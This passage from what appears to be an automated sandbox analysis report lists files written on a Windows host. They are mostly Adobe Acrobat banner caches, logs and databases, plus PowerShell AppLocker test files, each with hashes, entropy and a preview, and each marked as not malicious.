SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfzdPeUkwRe9:YvXKXdTSlOUcZNrGb8Ukee9
MD5:	4FB69E4B6B7825D367731F1F470E0FE8
SHA1:	695C2833ACB5CD6C15C7F2A6012341012C50DC7C
SHA-256:	FA704673CD9525B72AE5642CEF261820D6176682F46A576D3D2779F6F7E8E446
SHA-512:	7D7BDC892CEBAEF33C2066DBB964EB6576CACBE4E0B83111F548E62084492241741722B82FE6CCA9B21040D96138F45A729D1DD4D1474014D137766702526971
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297010158972016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfYdPeUkwRe9:YvXKXdTSlOUcZNrGg8Ukee9
MD5:	41129CA2D741409FFFF6DF319792D884
SHA1:	692CB4DE15F08B0488DFA71995F81E621FB4677C
SHA-256:	8284F6465CD4687893C6CDF81E42366B14FFDE2859774955D614274F2AF88A57
SHA-512:	8976279B1B588B7F847FEF0A7317132781686ACDF720F7D12E88A937078DD12D7A53FC22248AF87692DB53326CB01D991E0908DAC212F059541318871DBE9D35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.283856734738281
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJf+dPeUkwRe9:YvXKXdTSlOUcZNrG28Ukee9
MD5:	3E5D96F7F05CAA33DCBCE2F395214163
SHA1:	99CDCD379A393FE7F29F206EE7CC3DE200028CE0
SHA-256:	8CCF31B87D333AB8FF22363765E5A40C9895D64AF96D6D02DA3267FCE3DA96FF
SHA-512:	3A8D864D59C4466B79BF45B470B861E1FFD1BE9DE80FEE1C123412F2D5BC8369ADD607B1C7E2D60069FF56D81392B6931DCF1D227B0A3558A16C197EC1BE1F61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280577805381466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfbPtdPeUkwRe9:YvXKXdTSlOUcZNrGDV8Ukee9
MD5:	13583535F7DE02FEADAAC34FFC092B07
SHA1:	0D733EA0DA2724043CA50ED1F94B7681A8E2D1DE
SHA-256:	BF80E9CFE290B0140CB76F4D8FAB37798062DF0D72509E2A5CE4C232AA14FE1D
SHA-512:	73B001B7E13E3F7D666FC09044B38CF91FBAF004A9FFCE49DD478DDDBC9BA2D978967E5E5FFFAFFE66833AC9B2968D3D376C977AED0B1A63260665A1C47B2656
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.28391774183034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJf21rPeUkwRe9:YvXKXdTSlOUcZNrG+16Ukee9
MD5:	0702644058BED7A9783330A55875FC7E
SHA1:	989E3E6296B758C049AD445D7180628BC557122B
SHA-256:	4F2C29747869066EA50C428F64AB58ACA6A89C5513F26E804426994EDDE1B884
SHA-512:	56B8E3FD12F7B7484EBA084E438FCA853CAB2A8D1D4B8B174A0277CC786F6C6CBC265B544C584004409EEC61470E66625232DFAD92FBB28F04F452ED9CAA5DC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661214826171442
Encrypted:	false
SSDEEP:	24:Yv6XklWZWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:YvNTBgkDMUJUAh8cvMo
MD5:	4A4E701192922C6D133FBF3B409E9AE5
SHA1:	ED563459209655257A047637F1C4B23B70A95D43
SHA-256:	385F705B7381DE224714334AEF77E56576B417D124C75EA25D4C114FA1C8EC48
SHA-512:	96F3FAA2633D06B6433292B732BBB3820EDEE3A57EBDEABE3DE83445962A060F299364C88AF3A47F7409C1F956AB911DD270DBA1F4E667BB886DE9B384E931FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261364698250496
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJfshHHrPeUkwRe9:YvXKXdTSlOUcZNrGUUUkee9
MD5:	CA3B430D3FC544E47210076C7ED6B2C0
SHA1:	95A818C5766B8EC4A9806E8F9AD6EE46D1F2CF1B
SHA-256:	C1014CE309A9BE9F49A458A3C8E47D78813B7E31A416783C4727F2BECB712F9D
SHA-512:	FE9861B7B697BF41412591E2C802BE5C26098B6C4D156E9AD68640DFE66785D8B090EF3431EFE64D6419B6068E018212460F5A7EB8FA3DCE3CB32FA87C495805
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263594138371263
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdKISlOUnZiQ0YAlXgoAvJTqgFCrPeUkwRe9:YvXKXdTSlOUcZNrGTq16Ukee9
MD5:	ACEDFEA47347759211578DE011B9CA96
SHA1:	09CA6CDCE51CCFDAAFAAABD82C21091133B5C92B
SHA-256:	DBA651DF6DC54A32877D67178AF1EE93336C55B6D56A0C37D1F662C8FBF0CDFD
SHA-512:	4EB13BAFFD1AE94F1AD9003DA244E84BBC2DD3C71E5EBB25E2FD043B71D2225FB168FC8CF131497FBA0190153D508EDC5F49A5F7698A06AE00B706797B7BDF85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bbce8d20-5506-4fa2-b09f-32ae2d797bee","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752173217,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138338060487219
Encrypted:	false
SSDEEP:	24:YTyBajayAJ6Z9T7Mez6rsRJ9Xjuqj0SJ1x2R2LSLC0yuRa8bLq5fnv3h9pEju8OG:YTak73ZJJfNIlbyu0mehnv3h9Sf
MD5:	9A6C78F7608AD2FAC63BBBFB15675A6D
SHA1:	A864A11126E4BDEA644BF101CFC84A7FEC435743
SHA-256:	42EC4B876E31021FB1FD8AC2AAE239ABD4C8319307E20BA96882493235C4F008
SHA-512:	10A5A35BF40CEDFD7F71801159463A131074E0ED689168253AF1740A6579CE87D0272FB2D9CC42E42E7C28FFABE0A58BE22F99E0D19F71F601290CAD25F3A4D8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"174fa4aa08a23ddac2f5075bde04342b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736576643000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a45725071f2fde799412334ede753d60","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736576643000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"83238da3d1a505aed93d628e44ff36f5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736576643000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0d0f71d6aaf70cda659c44b556ca9230","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736576643000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"73a5d7fcf698c3e44c8d5d45c399da9d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736576643000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b1b14e1b488d934c5802fcc3b2b78f79","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146414568992842
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs0R0RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudZ:TFl2GL7ms0QXc+XcGNFlRYIX2v3kvW
MD5:	211E34CB34908C9FC7639A6FC92843B7
SHA1:	95FDB7B2C20E6E8E97C387C2BEDECD78DC4819A8
SHA-256:	021D6B79ED7D2817B2722335023908913622EA13BCAE69D053C7524F11ACB479
SHA-512:	8650E7CF1D0901978BBB48114E1D232EF07E50A955D6D115ED9581BAEC2C0D8F8274F5C1420F15BE858955F7E4EF70C3380B68948D5147194958D64E2C25C85D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5522256396082175
Encrypted:	false
SSDEEP:	24:7+ttlMR0UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxAqLxx/e:7MteHXc+XcGNFlRYIX2vNqVl2GL7msE
MD5:	540B756B463EDAE07A4E97839FC707A2
SHA1:	7B6F7933785CD90869BF025E8C5B98E3AC05A232
SHA-256:	32DE362B89C9CC183F0479F50EA58E5988246E3FC5CE74E70BC6F61D19001F80
SHA-512:	C498AE72F8453FBE8DF04184E7799619DDD83FA3BB058CEAB2E1411C81BB325D98503D0F9D0225EE35D4AACCE0F959F9A76D45AA7E8348DB64150DC59A951C11
Malicious:	false
Preview:	.... .c........b..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgVboE4AecLDqgF3fsfhQWlGtjEDhmYyu:6a6TZ44ADE9oE4uHsZQDjEDhmK
MD5:	778C2F673824F7F7C8D1515D4C3C952E
SHA1:	B40EB245AD2D0551224524521565F5AAD4805E51
SHA-256:	559BAE2C7C5186DEDFC1755678CA80C62647C8AF93ED913ECE51F906955F88E5
SHA-512:	3DEDC7AC0B303EBCE17BD275301977FDE858A73BF26190C68D7132A350523FFE848AA2EC83067FC17DC888D3BA176CD8B19110FA52D5171D048728906EDF48F8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIba240.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8wNH:Qw946cPbiOxDlbYnuRKd6
MD5:	7CC19F6CCBD305E3E26BF444956B9F23
SHA1:	AA6F425F1363F234F579E56731A882F94257FD1E
SHA-256:	C02F1793606513278B69E0CAD56BB231CAC3242EC1BA6CB6643BE393C83D108E
SHA-512:	36FF09C5D23D24379E44A3B4D25C0D220006FD4BA7BA07B3AE146CB2D538A61D4600E93842387FC71AC909D9B62FC0D4073A7AF857B9D946F3D25C3F51951196
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.2.4.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0udz3djx.0ki.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwpxqfox.vbj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-23-55-306.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3588522674268155
Encrypted:	false
SSDEEP:	384:oDNGlD8hx0CUrl36W3KTf09d9GQYQ4gJV+Dtnvds8wOn4d6ZB+HKfYfK3geIzwQm:e/r
MD5:	41640383AD42079A36966DECC2796DE4
SHA1:	988792492E22C43E04785C2FD722C87E551F83C4
SHA-256:	75AED66A5E6643FE3039A2BB5A0151D38327DD43421307AB19F47F6C60DAEAFE
SHA-512:	420BD6BF0AB572DEB7131BB967F186F652B53216AD3367F4CB0400702CC08EE4D73FE3B5AA4FA111CE424A613915A80C69BFA575B8D40C24BBDF312E1C8447BB
Malicious:	false
Preview:	SessionID=19dc417e-e133-4685-930d-8a5cecf1fb60.1736576635348 Timestamp=2025-01-11T01:23:55:348-0500 ThreadID=7704 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=19dc417e-e133-4685-930d-8a5cecf1fb60.1736576635348 Timestamp=2025-01-11T01:23:55:371-0500 ThreadID=7704 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=19dc417e-e133-4685-930d-8a5cecf1fb60.1736576635348 Timestamp=2025-01-11T01:23:55:371-0500 ThreadID=7704 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=19dc417e-e133-4685-930d-8a5cecf1fb60.1736576635348 Timestamp=2025-01-11T01:23:55:371-0500 ThreadID=7704 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=19dc417e-e133-4685-930d-8a5cecf1fb60.1736576635348 Timestamp=2025-01-11T01:23:55:371-0500 ThreadID=7704 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398357278621734
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbHcbyIVjcbf:V3fOCIdJDeiVa
MD5:	767DBC7BC411FB005EC8425033B65BC3
SHA1:	CA366D6F9C7767107FD6FB17E7DB2C3E445E1D6D
SHA-256:	52824D60EA63AEC672E17417A174AEC66898D79D784B126BE6BBC525FFE58B42
SHA-512:	DC8C117684E66ACF5A55783CC3094C059A22A3F9127EF178A5FE99066BF68D91187819C42BF5FFB3D4EA5E7DFAC76AD05A55FA1FF9E7C94C5DD6B2892AE77D00
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3066f0c2-a950-4f60-b26f-6a7565d90e1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
